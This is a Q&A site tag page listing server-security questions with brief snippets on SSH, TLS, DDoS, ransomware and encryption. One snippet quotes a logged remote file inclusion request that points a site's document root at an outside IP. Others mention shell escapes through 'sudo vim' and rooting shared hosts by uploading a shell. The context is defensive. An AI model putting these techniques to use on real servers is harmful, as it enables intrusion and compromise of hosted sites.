Tagged Questions

A server is a machine running a software daemon that is generally accessed over a network by other machines.

learn more… | top users | synonyms

1
vote
1answer
304 views

How should IPSec be configured to provide a protection at least as good as my current Stunnel configuration?

In private network (as in using a private IP address space) at a cloud provider, other customers have access to the same private network. I have secured the communication between many hosts and ...
0
votes
2answers
76 views

What influences the speed of rendered php page using encryption [closed]

I've built a web app which uses the openssl_private_decrypt() functions. The rendering of a page with 15 messages encrypted with these functions takes remarkely longer as the ones without. (3-4 ...
1
vote
1answer
173 views

Is a separate server needed for remotely accesing accounting software?

Wishing you all a great 2014. I hope this is the right section. Basically we have a Dell Poweredge R520 server in our office, and we now want to install some accounting software that can be accessed ...
2
votes
1answer
147 views

After having confirmed a computer is infected by a Botnet.

And having found a server IP that is controlling it. How can I find out the log-in credentials this client uses to log in to a IRC channel / server webpage / control panel. I have found out a python ...
2
votes
1answer
45 views

“holding open” encrypted home with local ssh

I have a couple of machines that I use for purely automated stuff, with home directories encrypted using ecryptfs. So even if the machine is powered on, those directories aren't decrypted unless that ...
0
votes
2answers
131 views

Subdomain-only SSL security/availability

CAcert and StartSSL both only validate domains whose TLD is owned by the requester. I have a few subdomains that come from places like freeDNS that I would like to run an SSL-secured server on. Are ...
1
vote
2answers
115 views

Renting a remote server with IPMI: is one vulnerable?

It has been reported in the media and some security conscious mailing lists that some IPMI-enabled servers, implementations and brands suffer serious security issues. When you go to a dedicated ...
-1
votes
1answer
79 views

Server security experiment? [closed]

Okay, so I am in a university class where we are using a server. Each student in the class has access to the server. We all share it. I can see their files and open them, and they likewise can see ...
0
votes
2answers
70 views

Restricting locations for unzipping a zip file

I hope that I have found the correct place to ask my question regarding unzipping files. I would like to see if there is a way to restrict the locations available to the user to unzip a password ...
1
vote
1answer
214 views

Does Ubuntu Server have a “phone home” feature?

I've heard that Ubuntu has some sort of "phone home" system that is enabled by default. The kind of stuff that passes along performance information and that type of things to Canonical. I don't know ...
0
votes
1answer
91 views

Transmission of messages

I am currently developing a game which will be run in a client, they will sign up for this game online and create their account there, their information will be stored into a MySQL database. I am ...
-2
votes
1answer
63 views

Should I do science of computing or systems analyst? [closed]

I want to become a federal analyst of cyber crimes and I dont't know what's the right university course for me, I would like to know what's the cons and pros of choosing one or another course and ...
3
votes
2answers
320 views

Disable local/KVM access on a Linux VPS (allow only SSH)

Friends of mine have previously had issues with VPS security. The security was no fault of the operating system/services themselves, but mainly due to the "Control Panel" that gets forced upon you ...
1
vote
1answer
115 views

question on rooting

Rooting a server is done through uploading a shell on a target website and running a root exploit to gain root privileges on a server thus gaining access to sites that are hosted on that shared ...
3
votes
3answers
2k views

Cryptolocker: can servers be protected?

I'm IT in a small company. The network is about as ancient as most of the staff (at 30, I'm the company's youngest), and the staff also is notorious for spreading viruses around the network despite ...
2
votes
2answers
209 views

Is this accidental incident considered hacking(illegal)? [closed]

I was doing research for a college research paper and I got bored and opened up CMD. I don't really know more than the next guy about computers, so i figured id just play around. I googled the ...
1
vote
2answers
178 views

Main requirements to secure my Application in any database related features

I have an application which is hosted on a windows server on which an SQL DB exists. This server communicates with the clients and agents installed on host PCs through TCP/IP and SSL connections. I'm ...
2
votes
2answers
277 views

Web Service Security Checklist - Tracing and Debugging

I have been reading this security checklist about web service design: http://msdn.microsoft.com/en-us/library/ff648304.aspx One of the suggestions is that you should disable the following in ...
1
vote
2answers
438 views

Why should web applications use multiple gatekeepers?

I have been reading a security checklist for web application design which can be found on: http://msdn.microsoft.com/en-us/library/ff648647.aspx One of the recommendations is to "use multiple ...
2
votes
4answers
125 views

Why should I log successful log-ins to my server?

I was arguing with a friend about logs in user logins. I think that logs means a big audit source for IT audit professionals. Why should I log successful log-ins to my server? It's so important log ...
1
vote
1answer
134 views

how much of a security threat would this be?

If I set up a Domain Controller server to be accessible from the internet via Remote Desktop Connection (through port forwarding in the router), how much of a threat would that be? and if I have a ...
7
votes
3answers
881 views

Are duplicate SSH server host keys a problem?

I'm doing an assessment of a small network that is using a good bit of virtualization. They have cloned some of their linux machines after generating their SSH server host keys. So the servers all ...
0
votes
1answer
96 views

Is there any reason to allow Python fetches of my Web server's pages?

I keep seeing "python-requests/1.1.0 CPython/2.7.4 Linux/3.8.0-19-generic" requests e.g. from Amazon's servers of my website. It's kind of creepy. Who would set up an Amazon server to scan websites? ...
3
votes
1answer
811 views

What are the pros and cons of using fail2ban when using SSH key auth? [closed]

I've just bought a new dedicated server. Should I install fail2ban if I am only using SSH keys to login? What else does fail2ban protect? What are the advantages and disadvantages of fail2ban? Is ...
1
vote
1answer
512 views

Is server-side cryptography with user-only access possible for email services?

I came across the Lavabit High Scalability Writeup and got curious. Do you use any particularly cool technologies or algorithms? The way we encrypt messages before storing them is relatively ...
0
votes
1answer
86 views

What are the risks of uploading and downloading data in binary (non-encoded) format to servers and browsers?

I admit up-front that this question may be the result of unfounded paranoia. But I am concerned that uploading and downloading data in binary form opens the door to exploits that might not be ...
4
votes
2answers
424 views

Preparing for a stolen physical server

What would be the best ways to protect sensitive data stored on a server/drive that gets stolen? The confidentiality of the data is what is important, not retrieving it. Obviously, physical means are ...
1
vote
2answers
255 views

best place to store backup encryption key [closed]

I have a server on which I keep an encrypted backup of some data. The server updates the backup once a day if the data has been changed and is physically accessible to many people. Further, I would ...
2
votes
4answers
162 views

Protecting IP on a remote server

Apologies in advance if this question is a bit vague. I just joined a stock trading group. A guy set up a server for me, and it's racked in their building. I ssh into it, and run my algo remotely ...
5
votes
1answer
2k views

What are the privacy pros and cons of using a public DNS server vs. your own?

Whether I'm using a normal internet connection setup, or tunnelling it through an anonymizing VPN or through TOR, what information of mine is revealed to whatever DNS server that I choose (e.g. Google ...
3
votes
3answers
3k views

Disabling SSL v2 and weak ciphers on client PC's

Is it a requirement to also disable SSL v2 and weak ciphers on client PC's? I have seen quite a few posts for disabling them on servers, but nothing about a regular client PC, say, running Windows XP ...
0
votes
4answers
6k views

How is HTTP PUT and DELETE methods insecure, if they really are? [duplicate]

If I really need to use these methods, how do i make sure they are secure? Edit: Is there a link or source where I can see how to make sure that 'PUT' and 'DELETE' methods are not able to delete or ...
4
votes
3answers
217 views

Storing config securely in a semi trusted shared hosting environment

I'm looking for a pattern to store a config file containing sensitive information in a semi trusted hosting environment. Semi trusted in this case meaning I trust them in general, but not with this ...
-6
votes
1answer
161 views

Hacker problems - They stole my backups [closed]

I am facing an issue where hackers are seeking to compromise two of my servers. They succeeded in wiping out both and stealing my backups. I had off-site backups and I am back online. Nonetheless, I ...
1
vote
2answers
57 views

Per-transfer authorization of file transfers on a per transaction basis

In my organization, users have the rights to transfer files to and from servers using SSH File Transfer protocol for a variety of reasons; e.g. application troubleshooting, BAU, etc. Although our ...
10
votes
2answers
2k views

How to encrypt data on the server?

I have some data on the server (running Linux) which needs to be encrypted (company policy). This data is being served by an application running on this machine. Now I consider a few possibilities: ...
2
votes
2answers
375 views

How does a firewall help to protect a server?

Since a potential attacker will exploit the services that are already open to public by firewall rules, how will a firewall help to protect my server from attackers?
-2
votes
1answer
357 views

Spoofed DDoS mitigation / DNS amplification mitigation [duplicate]

Recently my server has been attacked multiple times, after looking at my firewall I've come to the conclusion that the IP's are spoofed. (10,000+ IP's connect at once) I'm running Win server 2012 x64 ...
0
votes
3answers
173 views

Working from many places <-> being able to restrict SSH access to server to IP range

I administer a webserver, and while I'd like to restrict the SSH access to an IP range, I wouldn't be able to do so because a) I travel a lot and b) I don't have a static IP at my homeoffice. I've ...
24
votes
3answers
1k views

Does password-protecting a server's BIOS help in securing sensitive data?

I'm running a server of which I protected the BIOS with a password. One doesn't have to enter this password before booting, but before entering the BIOS setup. I just did this from routine. However, ...
5
votes
2answers
628 views

Using 'sudo vim' to spawn a shell

I've recently read here an answer from a user about the way he hacked a server in a CTF contest. At some point in the description, he said that he did sudo vim and then spawned a shell via VIM using ...
2
votes
2answers
453 views

SSL: How to send generated client certificate from server to avoid MITM?

The question I have is simply how do I prevent a MiTM attack on a certificate once the server side creates a new one and tries to send it to a client? Does the certificate get encrypted by rsa and ...
4
votes
3answers
428 views

Server root attack?

Someone in Hungary tried something odd recently: /?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt? This is the partial URL from my log, showing the page they went to. They gave my site's URL ...
6
votes
1answer
4k views

SSL Cert Types and Key Usage

I want to use OpenSSL to create a CSR and submit it to my CA (which uses Microsoft PKI) and receive certificates that can be used for both Server Auth and Client Auth. I'm not clear on a couple of ...
22
votes
7answers
14k views

DDoS - Impossible to stop?

Is it possible - in theory - to stop1 a DDoS attack of any size? Many people claim it's impossible to stop DDoS attacks and tell me I just shouldn't mess with the wrong people on the internet. But ...
1
vote
1answer
368 views

Custom Python Server - how to secure it?

I'm going to purchase my own dedicated server service soon and run few python server scripts on it. Firstly, let me tell you that I am total noob when it comes to internet security and was unable to ...
5
votes
3answers
762 views

Security of JVM for Server

Using type- and memory-safe languages like Java and Scala for server applications gave me the confidence of having a basic level of security (e.g. compared to C). Now with the recent wave of Oracle ...
5
votes
5answers
1k views

Windows 2003 Enterprise infected by Conficker; post-infection problems continue

I used various tools to remove Conficker, and I pretty much succeeded, but I've had recurring problems afterward. It won't update anymore (with the following error message: 0x800706B5) I tried ...
2
votes
1answer
228 views

Security on dedicated lines

Is it safe for a company not to use any encryption on customer's data when it is transferred between data centers on dedicated lines? By customer data I don't mean passowrds/credit card info. Just ...
5
votes
6answers
2k views

Is it possible to locate Tor/proxy users? Spam is getting on my nerves

I'm managing a huge forum (over 15k posts and 500 users) and lately some guy uses a VPN (probably) to spam my forums with topics such as: "GAYGAYGAYGAYGAYGAYGAY" "FRIGHT IS GAY HAHAHAHHAA" "ADMINS ...